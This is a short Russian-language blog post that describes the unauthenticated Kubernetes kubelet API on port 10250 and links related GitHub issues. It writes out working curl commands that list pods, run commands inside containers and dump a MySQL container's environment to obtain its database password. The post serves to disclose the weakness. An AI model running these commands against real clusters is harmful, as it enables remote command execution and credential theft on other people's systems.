Сервис kubelet
, с которым тесно общается apiserver
, слушает порт 10250. Этот порт хоть и использует сертификаты, но лишь для шифрования канала, никакой авторизации на нём нет.
Об этой проблеме известно давно, но почему-то никто не считает её серьезной. Ссылки на обсуждения:
- https://github.com/kubernetes/kubernetes/issues/3168
- https://github.com/kubernetes/kubernetes/issues/7965
- https://github.com/kubernetes/kubernetes/issues/11816
Что с этим можно сделать? Правтически всё. Без регистрации и sms.
Получить список всех pod'ов:
$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool
Выполнить команду внутри контейнера? Запросто:
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"
Получить пароль на базу данных? Проще простого:
$ curl -k -XPOST "https://k8s-node-1:10250/run/default/mysql-epg0f/mysql" -d 'cmd=env'
Вытащить из неё данные тоже не составит труда.
Автор: kay